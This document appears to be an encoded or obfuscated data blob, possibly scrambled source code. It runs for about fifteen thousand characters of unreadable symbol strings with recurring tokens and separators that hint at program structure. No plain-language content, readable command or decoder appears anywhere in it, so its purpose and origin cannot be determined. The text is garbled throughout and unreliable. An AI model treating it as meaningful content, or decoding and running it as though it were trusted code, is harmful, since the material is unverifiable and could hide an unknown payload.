OM\MNE@EXU&&^IXY^BAIN[[FMI_]B&Q&&&&EJNND@UGH@\HB@CUHsNECOPPIA\XUCUHsNECOW&^IXY^BAIN[[FMI_]B&&&Q&GY^ss@DVUAG_IICHXr&&&&E_s__@E[sZ]V\MU]NVKNND@UGH@\HB@

E_s__@&GDDBGO[\KY@OE_s__@NND@UGH@\HB@EK^NHCBNJO_&^CU^ZEGADGE_s__@HIJEBIHVUAG_IICHXioy~ismyxdsoccgeiHIJEBIHE[sZ]V\MU]NVKmyxdsoccgei&AAFBHXYXUAKHTJHIJEBIHE[sZ]V\MU]NVK`ckkihsebsoccgei&&&&EJ^CU^ZEGADGPPAAFBHXYXUAKHTJW&^IXY^BAIN[[FMI_]B&Q&ENMNGZ^NV^]HIJEBIHEK^NHCBNJO_

occgeishcamebVUAG_IICHXoccgeishcameb [KVO\_ZUIGC]NJ&^VCKTMDNM\GHIJEBIHEK^NHCBNJO_occgei|mxd&YJEE[]^[HIJEBIHEK^NHCBNJO_mhaebsoccgeis|mxdNND@UGH@\HB@&HIVJA\TYVsE_s__@NND@UGH@\HB@NND@UGH@\HB@&E_K^]NNT\pX&GHI^sK[IHKEK^NHCBNJO_ B@VOTBIBT &@YMZI[BGIZI\KU[s_MTCYYCE[sZ]V\MU]NVK&XMMMMAK[OG^NND@UGH@\HB@EK^NHCBNJO_lKIXsC\XECB@YMZI[BG M^^MUM^^MU&EJEK^NHCBNJO_XMMMMAK[OG^XMMMMAK[OG^M^^MU&_Y[VI]M]@Y\JM@_I&TXAM@ND&&JC^IMODCUHsNECOM_TJ\FJZZ_AGIFW&&&&EJVUAG_IICHXTJ\FJZZ_AGIFPPTJ\FJZZ_AGIFehPPTJ\FJZZ_AGIFY_I^s@CKEBW&OCBXEBYI&&&Q&EJTXAM@NDW&N^IMG&Q&FZJZ[VOBUFH_X^EBKTJ\FJZZ_AGIFY_I^s@CKEBBE\KTPMFVTB^[[TEsUBE\KTr&&&EJE__IXXMMMMAK[OG^wFZJZ[VOBUFHq

EBXXMMMMAK[OG^wFZJZ[VOBUFHqVUAG_IICHXW&OCBXEBYI&Q&[\sOMODIsHI@IXITJ\FJZZ_AGIFeh NND@UGH@\HB@&&]\KMOsKIXsY_I^sAIXMTJ\FJZZ_AGIFeh NND@UGH@\HB@ X^YI&&&EJVUAG_IICHX]\KMOs

EK^NHCBNJO_]\KMOsW&AMX[_TIAM^^MU&JC^IMOD]\KMOsM_O^DTBAXXJXHFVEAIUKFW&&&&EJE__IXXHFVEAIUKFwVUAG_IICHXq

XHFVEAIUKFwEK^NHCBNJO_qE[sZ]V\MU]NVKW&AMX[_TIAwO^DTBAXXJqXHFVEAIUKF&Q&Q&EJVUAG_IICHXAMX[_TIAVUAG_IICHX]\KMOsW&Y\HMXIsY_I^sAIXMTJ\FJZZ_AGIFeh E[sZ]V\MU]NVK AMX[_TIA&Q&Q&&&&[\sOMODIsHI@IXITJ\FJZZ_AGIFeh E[sZ]V\MU]NVK&EIZUKDGZCAVUAG_IICHXM^^MUEK^NHCBNJO_ VUAG_IICHX TJ\FJZZ_AGIFeh&sB^KXM]\NC@EIZUKDGZCAO^IMXIGY^ss@D&[NOJ_IJ[VXM^^MU&[NOJ_IJ[VXwqENMNGZ^NV^]E_K^]NNT\EK^NHCBNJO_E_K^]NNT\^VCKTMDNM\GE_K^]NNT\HIVJA\TYVsE_K^]NNT\GY^ss@DE_K^]NNT\AAFBHXYXUAKHTJE_K^]NNT\EK^NHCBNJO_TJ\FJZZ_AGIFeh GY^ss@D NND@UGH@\HB@ sB^KXM]\NC@&EJ^CU^ZEGADGW&[NOJ_IJ[VXwqENMNGZ^NV^]E_K^]NNT\EK^NHCBNJO_E_K^]NNT\YJEE[]^[E_K^]NNT\HIVJA\TYVsE_K^]NNT\GY^ss@DE_K^]NNT\^CU^ZEGADGE_K^]NNT\E[sZ]V\MU]NVKTJ\FJZZ_AGIFeh GY^ss@D GDDBGO[\KY@O sB^KXM]\NC@&Q&&&AIN[[FMI_]BwTJ\FJZZ_AGIFY_I^s@CKEBq[NOJ_IJ[VX&XMMMMAK[OG^wFZJZ[VOBUFHqGY^ss@DX\VJFsN]sIX\VJFsN&_Y[VI]M]@Y\X^YI&TXAM@ND&Q&DI^AEXEMBDU\I^@CK@CK&&&EJ_Y[VI]M]@Y\

NND@UGH@\HB@NND@UGH@\HB@W&lY\HMXIsC\XECB@YMZI[BG XMMMMAK[OG^ NND@UGH@\HB@&Q&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK @XB\NXs&&&QOMXODiTOI\XECB@XB\NXsW&Q&^IACZIsJE@XI^EK^NHCBNJO_ B@VOTBIBT &^IXY^BAIN[[FMI_]B&&&&Q&JYBOXECBBsUVOYMH]HOJBHZGsTU^K[@&&W&EJEK^NHCBNJO_ZGsTU^K[@^IXY^BZGsTU^K[@&EJNND@UGH@\HB@ZGsTU^K[@

E__IXZGsTU^K[@w\q

EK^NHCBNJO_ZGsTU^K[@w\q^IXY^BZGsTU^K[@w\q&^IXY^B&Q&JYBOXECBFG[YIAsJs]s^VNFMCUHsNECO&W&&@E_XM^^MU&Z]sCXUX\]_X^EBKDNEYZF[K[Y^VBGssTNND@UGH@\HB@ &^HM@OCJ_X^EBKDNEYZF[K[Y^VBGssTEK^NHCBNJO_ &EJZ]sCXUX\]

^HM@OCJW&@E_XwZ]sCXUX\]q^HM@OCJ&&&&&&Q&TUEHJ[CYDNEYZF[K[Y^VBGssTEK^NHCBNJO_ M^^MU&&EJEK^NHCBNJO_TUEHJ[CYW&&&&JC^IMODTUEHJ[CYM_XM\ZBGAUKMK[^H]^UW&J@NJMVABE^CBsUVOYMH]HOJBHMK[^H]^U&EJJ@NJMVABE^C@E_Xw_X^EBKXM\ZBGAUKqJ@NJMVABE^C&Q&Q&^IXY^B@E_X&&Q&JYBOXECB]]J]Y_^\D_O@GUUKAXM\ZBGAUK MG]GGFFF NEJ]ZMKVXZ\H&W&X^UW&EJVUAG_IICHXXM\ZBGAUKPPNND@UGH@\HB@XM\ZBGAUK NND@UGH@\HB@W&^IXY^BXM\ZBGAUK&Q&EJXM\ZBGAUKDM_sOM\VUAG_IICHXW&^IXY^BXM\ZBGAUK&Q&EJNND@UGH@\HB@NEJ]ZMKVXZ\HPPNEJ]ZMKVXZ\HW&aU}`oxi_AIM_Y^IM@@COMXC^&&^IXY^BXM\ZBGAUK&Q&TUEHJ[CYDNEYZF[K[Y^VBGssTE[sZ]V\MU]NVK M^^MU&EJVUAG_IICHXTUEHJ[CYW&TUEHJ[CYM^^MU&&&Q&JC^IMODTUEHJ[CYM_UOGsM^s][MV^ADBT^MW&&&\UYVsJNXNT[NND@UGH@\HB@ADBT^M

E__IXADBT^MwEK^NHCBNJO_qEBXADBT^MwVUAG_IICHXq&&EJ\UYVsJNXNT[

\UYVsJNXNT[NND@UGH@\HB@YB_IXTUEHJ[CYwUOGsM^s][MV^q&&&Q&&&TUEHJ[CYwXM\ZBGAUKY_I^s@CKEBqM^^MU\NEJ]ZMKVXZ\H E[sZ]V\MU]NVKNND@UGH@\HB@ EK^NHCBNJO_&FVs@@VVXUVM^H[BGAZVUAG_IICHX TUEHJ[CY EK^NHCBNJO_&&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK @XB\NXs&&&QOMXODiTOI\XECB@XB\NXsW&Q&^IXY^BXM\ZBGAUK&Q&&&JYBOXECB[MZFETGMTVK_YV^_UN XM\ZBGAUK&W&X^UW&EJE[sZ]V\MU]NVKYV^_UNPPYV^_UN^IXY^B&&&TUEHJ[CYDNEYZF[K[Y^VBGssTE[sZ]V\MU]NVK M^^MU&EJNND@UGH@\HB@TUEHJ[CYPPE__IXTUEHJ[CYwYV^_UNq^IXY^B&@XB\NXsTUEHJ[CYwYV^_UNq&EJNND@UGH@\HB@@XB\NXs

IA\XU@XB\NXswE[sZ]V\MU]NVKqWZ_UAB_JCTHTOGCVTKI^Z\Z_UAB_JC	&TUEHJ[CYwYV^_UNqwNND@UGH@\HB@qMYFJ\A]FGMYTNUDJZ_MYFJ\A]F&FVs@@VVXUVM^H[BGAZE[sZ]V\MU]NVK TUEHJ[CY E[sZ]V\MU]NVK&Q&&QOMXODxD^C[MN@IFNMZHZBB\]NGW&CGTNsH^OGY_HMU@YVUAG_IICHX FNMZHZBB\]NG&QOMXODiTOI\XECBFNMZHZBB\]NGW&&&&Q&Q&JYBOXECBGK]KsYO]VKNMKXEHVsXCUHsNECO&WsTJYG\[J\IH[PGEUHVsTJYG\[J\IH[r&&&EJE[sZ]V\MU]NVKCUHsNECOW&M[MEXEHIA\CXIBXMHFOCC^HEBMXC^&&^IXY^BJM@_I&&Q&@JNHNNYHDNEVXHV[NM_KDTICA&JC^IMODCUHsNECOM_TJ\FJZZ_AGIFW&JC^IMOD@JNHNNYHDNM_CGAZKKBEYGsW&EJE[sZ]V\MU]NVKVUAG_IICHXVUAG_IICHXCGAZKKBEYGs E[sZ]V\MU]NVK TJ\FJZZ_AGIFY_I^s@CKEBW&XCXM@\^CCJXI^A&&^IXY^BTJ\FJZZ_AGIF&Q&Q&Q&^IXY^BJM@_I&Q&JYBOXECBC_I\\NII@T^YD@V^YFU^^MHZ E@DUK\OBBHU&W&^IXY^BEK^NHCBNJO_VUAG_IICHX@V^YFU^^MHZ  E@DUK\OBBHU&&&&Q&&&JYBOXECBKAJJKMX[K^XJEsC]ED&W&EJE[sZ]V\MU]NVKJEsC]EDPPJEsC]EDPPHIJEBIHNND@UGH@\HB@^IXY^BJM@_I&_XMXEOsV[@TUKJJ^BY@@&EJsV[@TUKJJ^BY@@W&{||M^MK^M\Dn@COG^I@IM_IHI]YI&IZCEDDGEX[D|d|samfc~szi~ecbJ\OTZMNFMIZCEDDGEX[D&sV[@TUKJJ^M^^MU&C_I\\NII@T^YDmn|mxdEK^NHCBNJO_ E[sZ]V\MU]NVK &C_I\\NII@T^YDmn|mxdE[sZ]V\MU]NVK VUAG_IICHX &&Q&JC^IMODsV[@TUKJJ^M_^YCIJVGKTWG\@@\DOYYAJTKU]sMJNG\@@\DOYY&EJEK^NHCBNJO_JEsC]ED ^YCIJVGKTJM@_I^IXY^BX^YI&Q&^IXY^BJM@_I&Q&JYBOXECBITTODK]BBTKE@DUK\OBBHU&&W@O\_VII]_GNZIB\MGVB]@O\_VII]_GN&^IXY^BC_I\\NII@T^YDYBE]EH_X^EBKVUAG_IICHX X^YI E@DUK\OBBHU&&&&Q&JYBOXECB_NJV[\OsIX\^N@_I]B@TGFOI&W&EJNND@UGH@\HB@E[sZ]V\MU]NVK^IXY^BJM@_I&&&&GHGVFOJ_DKIXsC\XECBE[sZ]V\MU]NVK M^^MUANKDJKDZII\O[TBANKDJKDZI	&EJNND@UGH@\HB@GHGVFOJ_D^IXY^BJM@_I&IYsJX^FNE[sZ]V\MU]NVKB@TGFOI&&&&EJIA\XUGHGVFOJ_DwIYsJX^FNq^IXY^BJM@_I&J@NJMVABE^CEK^NHCBNJO_P _X^EBKGHGVFOJ_DwIYsJX^FNq&\TFK^[I@XE__IXJ@NJMVABE^CwqEBXJ@NJMVABE^CwqUOBHGYG^YZTEUOBHGYG^&^IXY^B\TFK^[I@X

NND@UGH@\HB@\TFK^[I@XTIOOTNH&Q&JYBOXECBBB^CHHE]CB@TGFOI N]_BF_V&W&EJEK^NHCBNJO_EK^NHCBNJO_PPE[sZ]V\MU]NVKEK^NHCBNJO_^IXY^B&GHGVFOJ_DKIXsC\XECBVUAG_IICHX M^^MU&EJEK^NHCBNJO_GHGVFOJ_DGHGVFOJ_DM^^MU&IYsJX^FNEK^NHCBNJO_B@TGFOI&&EJN]_BF_VW&EJE__IXGHGVFOJ_DwIYsJX^FNqW&YB_IXGHGVFOJ_DwIYsJX^FNq&Y\HMXIsC\XECBNND@UGH@\HB@ GHGVFOJ_D&Q&^IXY^B&Q&&&&AFA^I_EGNKYZ&EJIA\XUGHGVFOJ_DwIYsJX^FNqW&J@NJMVABE^CEK^NHCBNJO_P _X^EBKGHGVFOJ_DwIYsJX^FNq&AFA^I_EGNKYZEBXJ@NJMVABE^Cwq&&Q&AFA^I_EGNKYZ&\TFK^[I@XAFA^I_EGNKYZE[sZ]V\MU]NVK&JC^IMODGHGVFOJ_DM_]IFVG@sM_IIJINJB]FNW&JEsC]EDNND@UGH@\HB@P _X^EBK_IIJINJB]FN&EJIA\XUJEsC]EDwq

VUAG_IICHXEBXJEsC]EDwqTJTYB_IXGHGVFOJ_Dw]IFVG@sMq&Q&&&&GHGVFOJ_DwIYsJX^FNqAFA^I_EGNKYZP\TFK^[I@X&Y\HMXIsC\XECBE[sZ]V\MU]NVK GHGVFOJ_D&Q&JYBOXECBB]\YFYBOTEB@TGFOI YV_YIC_DNEMG&&&W&&&EJEK^NHCBNJO_YV_YIC_DNEMG^IXY^B&&&&OFss\E]H[\YIOs^BOHHD\YGsOTNND@UGH@\HB@B@TGFOI EK^NHCBNJO_&EJOFss\E]H[\YIJM@_IW&EJlE[sZ]V\MU]NVKOFss\E]H[\YI YV_YIC_DNEMGE[sZ]V\MU]NVKYV_YIC_DNEMG

D^@ZVFN[YsG\OFss\E]H[\YI B@TGFOI^IXY^B&&EU@^_Y^]OZUI]BOFss\E]H[\YI&&&Q&lVUAG_IICHXB@TGFOI YV_YIC_DNEMG&Q&&JYBOXECB_N]JNVYOBBZ_TFET\B@TGFOI ZKEXI\D_sTD&&&&W&^\G@GYO_EK^NHCBNJO_B@TGFOI&EJlVUAG_IICHX^\G@GYO_W&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK E[sZ]V\MU]NVKVUAG_IICHXB@TGFOI&^IXY^BJM@_I&&&Q&Y^MJYE]BNND@UGH@\HB@B@TGFOI TTE[sZ]V\MU]NVK&EJY^MJYE]B

ZVHB^HE]OsNOVNYZKEXI\D_sTDW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK VUAG_IICHXEK^NHCBNJO_B@TGFOI&^IXY^BJM@_I&Q&EJY^MJYE]B

_NJV[\OsIX\^N@_I]B@TGFOI^IXY^BJM@_I&TC[ssVBJM@_I&EJlE[sZ]V\MU]NVKB@TGFOITC[ssVBX^YI&YV_YIC_DNEMGBY@@@FKKUC__|d|sebxsamt|d|sebxsamtZA^J@G^JIT@FKKUC__&TJGTKJ@GJM@_I&I[[OYBY@@&EJlEK^NHCBNJO_B@TGFOI

lEK^NHCBNJO_B@TGFOIW&TJGTKJ@GX^YI&I[[OYlJE@I\I^A_B@TGFOI&EJI[[OYJM@_II[[OYBY@@&EJlE[sZ]V\MU]NVKB@TGFOITJTIIJYV_YIC_DNEMGlNND@UGH@\HB@B@TGFOI&&&&Q&EJNND@UGH@\HB@NND@UGH@\HB@W&CGTNsH^OGY_HMU@YVUAG_IICHX E[sZ]V\MU]NVKVUAG_IICHXB@TGFOI&^IXY^BJM@_I&Q&&&AHOJ^_GEMOGOB_JM@_I&JOOVM[N@HCJM@_I&sO@VUAG_IICHXZKEXI\D_sTD&JC^@OANHK^FX@OANHK^FX@OANHK^FXW&AHOJ^_GEMOGOB_Os^BOHHD\YGsOT^\G@GYO_ VUAG_IICHX&EJAHOJ^_GEMOGOB_JM@_IW&JOOVM[N@HCJM@_I&JEsC]EDlE[sZ]V\MU]NVKAHOJ^_GEMOGOB_ EK^NHCBNJO_&EJJEsC]EDJM@_IW&B^]sHFT&[DE@IB^]sHFTsO@W&&&KsCCBXMZVJNlVUAG_IICHXJEsC]ED VUAG_IICHXZKEXI\D_sTD B^]sHFT&EJKsCCBXMZVJNJM@_IPPKsCCBXMZVJNN^IMG&B^]sHFTKsCCBXMZVJN&Q&lJJ@Y_DJEsC]ED&l_\IOEM@EVIMKK^IKMXC^&EM[JGAPIIZI_[HUNCEM[JGAr&EJE[sZ]V\MU]NVKEK^NHCBNJO_lJ_UBOJEsC]EDBI[DZKO@X]NY_ZDDABI[DZKO@X]BI[DZKO@X]BI[DZKO@X]&lJO@C_IJEsC]ED&EJB^]sHFTsO@JOOVM[N@HCB^]sHFT&QI@_IW&&&JOOVM[N@HClVUAG_IICHXAHOJ^_GEMOGOB_ ZKEXI\D_sTD&&Q&EB@EBIOMODI&&EJJOOVM[N@HCJM@_I

JOOVM[N@HCsO@N^IMG&EU@^_Y^]OZUI]BAHOJ^_GEMOGOB_&&&&AHOJ^_GEMOGOB_JM@_I&&&Q&&&&Q&EJAHOJ^_GEMOGOB_JM@_IW&CGTNsH^OGY_HMU@YNND@UGH@\HB@ VUAG_IICHXNND@UGH@\HB@B@TGFOI&^IXY^BJM@_I&Q&&&&EJJOOVM[N@HCJM@_IPPJOOVM[N@HCsO@W&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK EK^NHCBNJO_NND@UGH@\HB@B@TGFOI&EU@^_Y^]OZUI]BAHOJ^_GEMOGOB_&^IXY^BJM@_I&Q&EJI[[OYBY@@lEK^NHCBNJO_AHOJ^_GEMOGOB_ I[[OY
&&&ZY@GEJVX]KVZMD^@ZVFN[YsG\AHOJ^_GEMOGOB_ B@TGFOI&EJZY@GEJVX]KVZM

TJGTKJ@G

TC[ssVBW&EJlNND@UGH@\HB@B@TGFOI]]XI^s@\F[YJ_V_ZEOIB@TGFOI &VIHZBVEMM]OsIB@TGFOIE[sZ]V\MU]NVKE[sZ]V\MU]NVKTT &EJD^@ZVFN[YsG\B@TGFOI VIHZBVEMM]OsIW&ZY@GEJVX]KVZMD^@ZVFN[YsG\AHOJ^_GEMOGOB_ B@TGFOI&EJZY@GEJVX]KVZMW&&EU@^_Y^]OZUI]BVIHZBVEMM]OsI&&QI@_IW&_MXE_JEMN@INMOG@CK&&&EJD^@ZVFN[YsG\VIHZBVEMM]OsI B@TGFOI

JCVY[K[^ETMVIHZBVEMM]OsI B@TGFOIW&B]\YFYBOTEB@TGFOI YV_YIC_DNEMG&Q&|~AEHH@I[M^I@EBIM^MHFN^MBHIHXU\I&&EJlE[sZ]V\MU]NVKB@TGFOIW&B]\YFYBOTEB@TGFOI YV_YIC_DNEMG&Q&&&Q&&&Q&Q&&&EJZY@GEJVX]KVZM

TC[ssVB

Y^MJYE]BW&&&&EJlNND@UGH@\HB@B@TGFOI]]XI^s@\F[YJ_V_ZEOIB@TGFOI &EJJCVY[K[^ETMAHOJ^_GEMOGOB_ B@TGFOIW&ZY@GEJVX]KVZMX^YI&EU@^_Y^]OZUI]BAHOJ^_GEMOGOB_BFsG^VDDZUKCJUCsBFsG^VBFsG^VBFsG^V&Q&Q&&&&EJZY@GEJVX]KVZMW&EJlNND@UGH@\HB@B@TGFOI

EBXlEK^NHCBNJO_B@TGFOIsO@WBOKKAT]JCJVTHA@D^BOKKAT&OVH_ENEslEK^NHCBNJO_B@TGFOI&&EJE[sZ]V\MU]NVKOVH_ENEsPPVUAG_IICHXYV_YIC_DNEMG

OVH_ENEsYV_YIC_DNEMGW&EJNND@UGH@\HB@YV_YIC_DNEMGB]\YFYBOTEB@TGFOI YV_YIC_DNEMG&&&I@_IEJTJGTKJ@GEU@^_Y^]OZUI]BB@TGFOI&{|COEM@`EBG_^I_\CB_EZIN^IMG\CEBX&&Q&YB_IXOVH_ENEs&Q&EJlVUAG_IICHXB@TGFOIW&B]\YFYBOTEB@TGFOI YV_YIC_DNEMG&Q&CGTNsH^OGY_HMU@YNND@UGH@\HB@ EK^NHCBNJO_EK^NHCBNJO_B@TGFOI&EU@^_Y^]OZUI]BAHOJ^_GEMOGOB_&^IXY^BJM@_I&Q&&&&lO@IM^_XMXOMODIX^YI B@TGFOI&&X[OXZ[@BZYEM\JM@_I&&&EJsO@W&&&XE_CKVlE[sZ]V\MU]NVKB@TGFOI&&&X[OXZ[@BZYEM\E[sZ]V\MU]NVKXE_CKV

E[sZ]V\MU]NVKXE_CKVsO@

NND@UGH@\HB@XE_CKVE[sZ]V\MU]NVKZKEXI\D_sTD&QI@_IW&J\\VCM[YHVUAG_IICHXE[sZ]V\MU]NVKlDM_DsJE@IVUAG_IICHX B@TGFOIJM@_I&EJVUAG_IICHXJ\\VCM[YH

J\\VCM[YHX[OXZ[@BZYEM\J\\VCM[YHNND@UGH@\HB@ZKEXI\D_sTD&I@_IW&OMXODN@COG&&[]GMYAEB[HUlVUAG_IICHXB@TGFOI&EJ[]GMYAEB[HUsO@W&ICNOYXGAIlVUAG_IICHXB@TGFOI JM@_I BY@@  &s^XlE[sZ]V\MU]NVKB@TGFOI JM@_I BY@@ sO@&X[OXZ[@BZYEM\E[sZ]V\MU]NVKICNOYXGAI

EK^NHCBNJO_s^X

ICNOYXGAINND@UGH@\HB@ZKEXI\D_sTD  TJTNH

s^XEK^NHCBNJO_ZKEXI\D_sTD sO@&&&&Q&Q&&&&Q&&&EJX[OXZ[@BZYEM\W&CGTNsH^OGY_HMU@YNND@UGH@\HB@ VUAG_IICHXEK^NHCBNJO_B@TGFOI&&&&EJY^MJYE]BBB^CHHE]CB@TGFOI X^YI&EJEK^NHCBNJO_YV_YIC_DNEMGW&AIHKD]IAGV]VZVUAG_IICHXE[sZ]V\MU]NVKlDM_DsJE@IEK^NHCBNJO_ B@TGFOIJM@_I&EJVUAG_IICHXAIHKD]IAGV]VZ

AIHKD]IAGV]VZ

AIHKD]IAGV]VZE[sZ]V\MU]NVKZKEXI\D_sTD

AIHKD]IAGV]VZVUAG_IICHXYV_YIC_DNEMGW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK E[sZ]V\MU]NVKVUAG_IICHXB@TGFOI&^IXY^BJM@_I&&&Q&VXEVYVAOs^BOHHD\YGsOT^\G@GYO_ EK^NHCBNJO_&EJVXEVYVAJM@_I

lNND@UGH@\HB@VXEVYVA YV_YIC_DNEMGVUAG_IICHXYV_YIC_DNEMGW&EJD^@ZVFN[YsG\VXEVYVA B@TGFOIW&EJlVUAG_IICHXB@TGFOI

TC[ssVB]]XI^s@\F[YJ_V_ZEOIB@TGFOI &EJTC[ssVB

JCVY[K[^ETMVXEVYVA B@TGFOIW&EU@^_Y^]OZUI]BVXEVYVA&QI@_IW&lVUAG_IICHXB@TGFOI YV_YIC_DNEMG&EU@^_Y^]OZUI]BVXEVYVA&Q&Q&&QI@_IW&EJVXEVYVAJM@_IEU@^_Y^]OZUI]BVXEVYVA&lE[sZ]V\MU]NVKB@TGFOI YV_YIC_DNEMG&&Q&BNBBT@CJYTGTB@UB@TGFOI&QI@_IEJTJGTKJ@GW&EU@^_Y^]OZUI]BB@TGFOI&Q&^IXY^BJM@_I&Q&BNBBT@CJYTGTB@UB@TGFOI&IF@GHOXG@B@TGFOI&]]XI^s@\F[YJ_V_ZEOIB@TGFOI TT&EJY^MJYE]BBB^CHHE]CB@TGFOI JM@_I&^IXY^BX^YI&Q&JYBOXECB]FNVI]J@FBTsJ_B@TGFOI Y^CZYHD[DX&W&^I@MTIH_OC\IODMEB&&&EA_KJ\D\D\pB&EJE[sZ]V\MU]NVKY^CZYHD[DX

Y^CZYHD[DX

VUAG_IICHXY^CZYHD[DX EK^NHCBNJO_JM@_I

ZVHB^HE]OsNOVNYY^CZYHD[DXEA_KJ\DY^CZYHD[DX&EJlVUAG_IICHXB@TGFOIW&KDM^VGlNND@UGH@\HB@B@TGFOI&&&&EJE[sZ]V\MU]NVKKDM^VG

F[sE_EYEDFGFIKDM^VGEA_KJ\D^IXY^B&&&Q&&&EJ_N]JNVYOBBZ_TFET\B@TGFOI EA_KJ\DW&C]^EZOZ]lE[sZ]V\MU]NVKB@TGFOI&EJVUAG_IICHXC]^EZOZ]

F[sE_EYEDFGFIC]^EZOZ]EA_KJ\DlVUAG_IICHXB@TGFOI EA_KJ\D&YB_IXC]^EZOZ]&Q&BNBBT@CJYTGTB@UB@TGFOI&Q&JYBOXECBDCCXssZA\MXXA&&W&EJEK^NHCBNJO_VUAG_IICHX

ZMDJJO@BsHYC@@__^IXY^BX^YI&EJNND@UGH@\HB@EK^NHCBNJO_PPE[sZ]V\MU]NVKEK^NHCBNJO_^IXY^BX^YI&FAFO\HKJDCAIsY^@&FAFO\HKJEK^NHCBNJO_FAFO\HKJ JM@_I
EK^NHCBNJO_NND@UGH@\HB@EK^NHCBNJO_TT TT&\FJCOCFJYE[sZ]V\MU]NVKFAFO\HKJ M^^MUNND@UGH@\HB@r VUAG_IICHXJM@_I VUAG_IICHX VUAG_IICHXM^^MUNND@UGH@\HB@VUAG_IICHX&EJVUAG_IICHXVUAG_IICHX

E_s[\sI^^C^\FJCOCFJYW&EJNND@UGH@\HB@VUAG_IICHXE[sZ]V\MU]NVK&\FJCOCFJYE[sZ]V\MU]NVKFAFO\HKJ M^^MUE[sZ]V\MU]NVK EK^NHCBNJO_JM@_I VUAG_IICHX E[sZ]V\MU]NVKM^^MUVUAG_IICHXNND@UGH@\HB@&&EJVUAG_IICHXVUAG_IICHX

E_s[\sI^^C^\FJCOCFJY^IXY^BJM@_I&Q&GNFBIBH@EBX[\s^IACXIs^IX^EIZIs^I_\CB_IsOCHI\FJCOCFJYU]ZNDY^AVCYNKFVVU]ZNDYU]ZNDYU]ZNDY&^IXY^BGNFBIBH@

GNFBIBH@TTJ&Q&JYBOXECBFTEJYA]XYIMJBH^@ON_sVV]XKZBU MJT@BMsG&W&NFTMJsE^MMJEK^NHCBNJO_NND@UGH@\HB@MJT@BMsG &&&JC^IMOD&M^^MU&&&&E[sZ]V\MU]NVKNFTMJsE^MMJNND@UGH@\HB@ &VUAG_IICHXNFTMJsE^MMJE[sZ]V\MU]NVK &NND@UGH@\HB@NFTMJsE^MMJE[sZ]V\MU]NVK &M_FZJYBCFM@N&W&EJEK^NHCBNJO_N_sVV]XKZBUN^IMG&&&&N_sVV]XKZBUE[sZ]V\MU]NVKFZJYBCFM@N pB N_sVV]XKZBU&Q&&&&^IXY^BN_sVV]XKZBUYAOEFGFTNHD@XIYAOEFGFTNYAOEFGFTNYAOEFGFTN&Q&&&&JYBOXECBBNBBT@CJYTGTB@UOC@[VTI@MC&W&EJNND@UGH@\HB@E[sZ]V\MU]NVKW&^IXY^BlC\OMODIsEBZM@EHMXIOC@[VTI@MC X^YIJM@_I&Q&DYAKA@XO[DAVUAG_IICHXE[sZ]V\MU]NVKlC\OMODIsKIXs_XMXY_JM@_IJM@_I&^IXY^BVUAG_IICHXDYAKA@XO[DA

IA\XUDYAKA@XO[DAwEK^NHCBNJO_q&Q&JYBOXECBXFHN]]TNEBYCMB@TGFOI [MDsUXYUC[__X sVV]]D&W&EJVUAG_IICHXB@TGFOI NND@UGH@\HB@W&EJ_N]JNVYOBBZ_TFET\B@TGFOI [MDsUXYUC[__XW&CGTNsH^OGY_HMU@YsVV]]D NND@UGH@\HB@VUAG_IICHXB@TGFOI&^IXY^BJM@_I&Q&BNBBT@CJYTGTB@UB@TGFOI&^IXY^BNND@UGH@\HB@[MDsUXYUC[__X&&&&Q&JEsC]EDlEK^NHCBNJO_B@TGFOI EK^NHCBNJO_&EJJEsC]EDJM@_IW&CGTNsH^OGY_HMU@YsVV]]D E[sZ]V\MU]NVKE[sZ]V\MU]NVKB@TGFOI&^IXY^BJM@_I_HT]__MUEETI_s_HT]__&Q&EJVUAG_IICHXEK^NHCBNJO_lJ@COGJEsC]ED `cogsit&&\FJCOCFJYlNND@UGH@\HB@JEsC]ED [MDsUXYUC[__X&EJE[sZ]V\MU]NVKNND@UGH@\HB@lJ@COGJEsC]ED `cogsyb&lJO@C_IJEsC]ED&EJ\FJCOCFJYJM@_IPP[MDsUXYUC[__X

\FJCOCFJYVUAG_IICHX[MDsUXYUC[__XW&CGTNsH^OGY_HMU@YsVV]]D NND@UGH@\HB@E[sZ]V\MU]NVKB@TGFOI&&&&^IXY^BJM@_I&Q&^IXY^B\FJCOCFJY&Q&&&&JYBOXECBD^F^]U@NJ]C&W&\^CMOXEZI@EBIM^XU\I&&X^UW&EJNND@UGH@\HB@NND@UGH@\HB@PPNND@UGH@\HB@NND@UGH@\HB@W&[HFGAIUI@EJKBY@@&^IXY^B&Q&&&EJKIXsX^MB_EIBXE[sZ]V\MU]NVK^IXY^B&EJKIXsX^MB_EIBXEK^NHCBNJO_^IXY^B&_IXsX^MB_EIBXEK^NHCBNJO_  &[HFGAIUI@EJKBY@@&EJEK^NHCBNJO_NND@UGH@\HB@HI@IXIsX^MB_EIBXVUAG_IICHX&Z]sCXUX\]VUAG_IICHXE[sZ]V\MU]NVK_X^EBKDNEYZF[K[Y^VBGssTE[sZ]V\MU]NVK &EJZ]sCXUX\]

VUAG_IICHXVUAG_IICHX

Y_I^BMAIsITE_X_Z]sCXUX\]W&_IXsX^MB_EIBXNND@UGH@\HB@  &&&&Q&QOMXODxD^C[MN@I@XB\NXsW&l\^CZE_ECB@IMGUNYOGIX&&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK @XB\NXs&QOMXODiTOI\XECB@XB\NXsWOZG[OTXB[J^EsOZG[OT&Q&Q&&&&JYBOXECB[HFGAIUI@EJKCUHsNECO&&W&EJOAEFTH@JAB[VUAG_IICHX^IXY^B&X^UW&EJE[sZ]V\MU]NVKVUAG_IICHXPPE[sZ]V\MU]NVKEK^NHCBNJO_W&^IXY^B&Q&MG]GGFFF_X^EBKDNEYZF[K[Y^VBGssTE[sZ]V\MU]NVK &EJMG]GGFFF

Y_I^BMAIsITE_X_MG]GGFFF

_X^EBKDNEYZF[K[Y^VBGssTEK^NHCBNJO_ W&^IXY^B&Q&EJMG]GGFFFW&@EBIM^EVMN@I_UBOD^CBEVI^&&&&&]@AADYZB]@VUAG_IICHXCUHsNECOCUHsNECOsAGTFKY]DD&EHYEHsHUI_GK]KsYO]VKNMKXEHVsX]@AADYZB]@&EJ&&EHYEHsHUI_

